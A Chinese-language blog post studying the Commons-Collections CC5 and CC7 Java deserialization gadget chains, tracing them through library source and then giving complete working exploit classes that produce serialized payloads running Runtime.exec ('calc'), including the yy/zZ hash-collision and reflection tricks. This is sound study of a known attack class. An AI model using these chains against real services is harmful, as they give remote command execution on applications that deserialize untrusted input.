Commons-Collections 篇 --CC5&CC7

CC5

和cc1类似就是lazymap.get的触发变了

把cc1的Proxy(annotationinvocationHandler).xxx——————————————LazyMap.get

变成了BadAttributeValueExpException.readObject—-TiedMapEntry.toString—LazyMap.get

分析

image-20251204172643016

  • TiedMapEntry类中的toString方法

    1
    2
    3
    public String toString() {
        return getKey() + "=" + getValue();
    }

    返回了以及getValue()

    • getValue()

      1
      2
      3
      public Object getValue() {
          return map.get(key);
      }
    • getKey

      1
      2
      3
      public Object getKey() {
          return key;
      }

    getValue()就和cc1一样了

    后面调用map.get()

    又到 lazymap.get

  • 我们继续往前找,看toString的用法(直接找一个类下的readObject)

    找到了BadAttributeValueExpException类的readObject

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);
    
        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            val = valObj.toString();                    //toString()在这里
        } else { // the serialized object is from a version without JDK-8019292 fix
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
        }
    }

构建

  • 先看一下cc1的

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    public class CC1Test2 {
        public static void main(String[] args) throws IOException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException {
    
            Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
            };
            ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    
    
            HashMap<Object, Object> map = new HashMap<>();
            Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
    
            Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
            annotationInvocationhdlConstructor.setAccessible(true);
            InvocationHandler h = (InvocationHandler) annotationInvocationhdlConstructor.newInstance(Target.class, lazyMap);
    
            Map mapProxy= (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
    
    
    
            Object o = annotationInvocationhdlConstructor.newInstance(Override.class, mapProxy);
            serialize(o);
            unserialize("ser.bin");

//主要是这里不同

  • 到lazymap是一样的

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    public class CC5Test {
        public static void main(String[] args) throws NoSuchFieldException, InstantiationException, IllegalAccessException, IOException, ClassNotFoundException {
            Transformer[] transformers={
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
            };
            ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
            HashMap map = new HashMap();
            Map lazymap = LazyMap.decorate(map, chainedTransformer);
  • 后面TiedMapEntry.toString.getValue.get—->LazyMap.get

    • 先看TiedMapEntry构造器
    1
    2
    3
    4
    5
    public TiedMapEntry(Map map, Object key) {
        super();
        this.map = map;
        this.key = key;
    }
    • 传两个参数,使用toString()
    1
    2
    TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"key");
    tiedMapEntry.toString();
  • 调用BadAttributeValueExpException.readObject

    • 依旧看看readObject的代码

      image-20250506221407897

      触发val = valObj.toString();————–由val 控制

      image-20251204195919111

      所以说,反射修改val为tiedMapEntry即可触发恶意代码

    • 编写

      1
      2
      3
      4
      5
      Class<BadAttributeValueExpException> c4 =BadAttributeValueExpException.class;
      BadAttributeValueExpException bad = c4.newInstance();
      Field val = c4.getDeclaredField("val");
      val.setAccessible(true);
      val.set(bad,tiedMapEntry);

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public class CC5Test {
    public static void main(String[] args) throws NoSuchFieldException, InstantiationException, IllegalAccessException, IOException, ClassNotFoundException {
        Transformer[] transformers={
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap map = new HashMap();
        Map lazymap = LazyMap.decorate(map, chainedTransformer);
        // lazymap.get(1);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"key");
        tiedMapEntry.toString();

        Class c4 =BadAttributeValueExpException.class;
        BadAttributeValueExpException bad = c4.newInstance();
        Field val = c4.getDeclaredField("val");
        val.setAccessible(true);
        val.set(bad,tiedMapEntry);//BadAttributeValueExpException它可序列化



        serialize(bad);
        unserialize("ser.bin");

    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

}

流程总结

1
2
3
4
5
6
7
8
9
10
11
12
13
readObject()
↓
valObj = tiedMapEntry  ←我们塞进去的
↓
val = valObj.toString()  ←自动执行
↓
TiedMapEntry.toString()
↓
LazyMap.get()
↓
ChainedTransformer.transform()
↓
Runtime.exec("calc")

image-20251204200153514

CC7

和cc1类似就是lazymap.get的触发变了

把cc1的Proxy(annotationinvocationHandler).xxx——————————————LazyMap.get

变成了Hashtable.readObject—-AbstractMap.equals—LazyMap.get

分析

image-20251204200902598

  • 还是找get调用

    因为 LazyMap 不存在 equals 方法,然后找到它的父类 AbstractMapDecorator 调用 equals

    1
    2
    3
    4
    5
    6
    public boolean equals(Object object) {
        if (object == this) {
            return true;
        }
        return map.equals(object);
    }
  • AbstractMap类的equals方法

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    public boolean equals(Object o) {
        if (o == this)
            return true;
    
        if (!(o instanceof Map))
            return false;
        Map<?,?> m = (Map<?,?>) o;
        if (m.size() != size())
            return false;
    
        try {
            Iterator<Entry<K,V>> i = entrySet().iterator();
            while (i.hasNext()) {
                Entry<K,V> e = i.next();
                K key = e.getKey();
                V value = e.getValue();
                if (value == null) {
                    if (!(m.get(key)==null && m.containsKey(key)))
                        return false;
                } else {
                    if (!value.equals(m.get(key)))
                        return false;
                }
            }
        } catch (ClassCastException unused) {
            return false;
        } catch (NullPointerException unused) {
            return false;
        }
    
        return true;
    }

    这个类中调用equals

  • 找equals的调用

    找到Hashtable类的reconstitutionPut方法

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
            throws StreamCorruptedException
        {
            if (value == null) {
                throw new java.io.StreamCorruptedException();
            }
            // Makes sure the key is not already in the hashtable.
            // This should not happen in deserialized version.
            int hash = key.hashCode();
            int index = (hash & 0x7FFFFFFF) % tab.length;
            for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
                if ((e.hash == hash) && e.key.equals(key)) {     //调用在这里
                    throw new java.io.StreamCorruptedException();
                }
            }
            // Creates the new entry.
            @SuppressWarnings("unchecked")
                Entry<K,V> e = (Entry<K,V>)tab[index];
            tab[index] = new Entry<>(hash, key, value, e);
            count++;
        }
  • 查看reconstitutionPut的调用

    image-20251204203911502

    发现正好在这个类的readObject方法里面

构建

  • 跟上面一样,到lazymap都贴下来

    1
    2
    3
    4
    5
    6
    7
    8
    9
    Transformer[] transformers={
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    HashMap map = new HashMap();
    Map lazymap = LazyMap.decorate(map, chainedTransformer);
  • 看一下reconstitutionPut

    image-20251204211143517

    这里对传进的 Entry 对象数组进行了循环,逐个调用e.key.equals(key),这里传进去的参数key如果是我们可控的,那么AbstractMap.equals()中的m就是我们可控的。

    从本质上来说,我们需要在入口类这里传进去恶意的 key,接着调用 key.equals() 即可。

  • 编写测试

    1
    2
    3
    4
    5
    Hashtable hashtable = new Hashtable();
    hashtable.put(lazyMap, "111");
    
    serialize(hashtable);
    unserialize("ser.bin");

    发现弹不出来计算机

    打个断点调试一下

    • 把断点打在了 AbstractMap.equals() 的地方、

      image-20251204211926732

      结果发现居然没有执行到 .equals() 这个方法

  • 向我们优秀在张师傅取取经(附上她的博客地址https://bxhhf.github.io/2025/05/13/CC5_CC7)

    image-20251204212545438

    这里的链子比我们多了一个 map,而且将两个 map 进行了比较

    • 为什么调用的两次put()其中map中key的值分别为yy和zZ?

      第二次调用 reconstitutionPut() 进入到 for 循环的时候,此时 e 是从 tab 中取出的 lazyMap1 ,然后进入到判断中,要经过 (e.hash == hash) 判断为真才能走到我们想要的 e.key.equal() 方法中。这里判断要求取出来的 lazyMap1 对象的hash值要等都现在对象也就是 lazyMap2 的hash值,这里的hash值是通过 lazyMap 对象中的 key.hashCode() 得到的,也就是说 lazyMap1 的 hash 值就是 "yy".hashCode() ,lazyMap2 的 hash 值就是 "zZ".hashCode() ,而在 java 中有一个小 bug:

      1
      "yy".hashCode() == "zZ".hashCode()

      yy 和 zZ 由 hashCode() 计算出来的值是一样的。正是这个小 bug 让这里能够利用,所以这里我们需要将 map 中 put() 的值设置为 yy 和 zZ,才能走到我们想要的 e.key.equal() 方法中。

    • 为什么在调用完 HashTable.put() 之后,还需要在 map2 中 remove() 掉 yy?

      这是因为 HashTable.put() 实际上也会调用到 equals() 方法:

      当调用完 equals() 方法后,LazyMap2 的 key 中就会增加一个 yy 键:

      这就不能满足 hash 碰撞了,构造序列化链的时候是满足的,但是构造完成之后就不满足了,那么经过对方服务器反序列化也不能满足 hash 碰撞了,也就不会执行系统命令了,所以就在构造完序列化链之后手动删除这多出来的一组键值对。

    • 修改测试

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      HashMap<Object, Object> hashMap1 = new HashMap<>();  
       HashMap<Object, Object> hashMap2 = new HashMap<>();  
       Map decorateMap1 = LazyMap.decorate(hashMap1, chainedTransformer);  
       decorateMap1.put("yy", 1);  
       Map decorateMap2 = LazyMap.decorate(hashMap2, chainedTransformer);  
       decorateMap2.put("zZ", 1);  
       Hashtable hashtable = new Hashtable();  
       hashtable.put(decorateMap1, 1);  
       hashtable.put(decorateMap2, 1);  
       decorateMap2.remove("yy");  
        
       serialize(hashtable);  
       unserialize("ser.bin");

      发现可以弹出计算器

      image-20251204213546439

    • 但是

      现在执行的话会跳出两个计算器,在序列化的时候会跳出一个,所以我们要先将序列化的这个过程赋为常数,让其反序列化的时候弹出计算器。(类似于urldns的那一套)

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});  
       HashMap<Object, Object> hashMap1 = new HashMap<>();  
       HashMap<Object, Object> hashMap2 = new HashMap<>();  
       Map decorateMap1 = LazyMap.decorate(hashMap1, chainedTransformer);  
       decorateMap1.put("yy", 1);  
       Map decorateMap2 = LazyMap.decorate(hashMap2, chainedTransformer);  
       decorateMap2.put("zZ", 1);  
       Hashtable hashtable = new Hashtable();  
       hashtable.put(decorateMap1, 1);  
       hashtable.put(decorateMap2, 1);  
      
      //加了一个这个
       Class c = ChainedTransformer.class;  
       Field field = c.getDeclaredField("iTransformers");  
       field.setAccessible(true);  
       field.set(chainedTransformer, transformers);  
      
       decorateMap2.remove("yy");  
        
       serialize(hashtable);  
       unserialize("ser.bin");  
       }

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
public class CC7Test {
    public static void main(String[] args) throws IOException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});

        HashMap<Object, Object> hashMap1 = new HashMap<>();
        HashMap<Object, Object> hashMap2 = new HashMap<>();
        Map decorateMap1 = LazyMap.decorate(hashMap1, chainedTransformer);
        decorateMap1.put("yy", 1);
        Map decorateMap2 = LazyMap.decorate(hashMap2, chainedTransformer);
        decorateMap2.put("zZ", 1);

        Hashtable hashtable = new Hashtable();
        hashtable.put(decorateMap1, 1);
        hashtable.put(decorateMap2, 1);
        Class c = ChainedTransformer.class;

        Field field = c.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(chainedTransformer, transformers);
        decorateMap2.remove("yy");

        serialize(hashtable);
        unserialize("ser.bin");
    }


    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

流程总结

1
2
3
4
5
6
7
8
9
10
11
readObject()
↓
rehash()
↓
lazyMap1.hashCode()
↓
LazyMap.get()
↓
ChainedTransformer.transform()
↓
InvokerTransformer → Runtime.exec()

image-20251204212701510


Commons-Collections 篇 --CC5&CC7
http://example.com/2025/12/04/CC5&CC7/
作者
Piggy Sprint
发布于
2025年12月4日
许可协议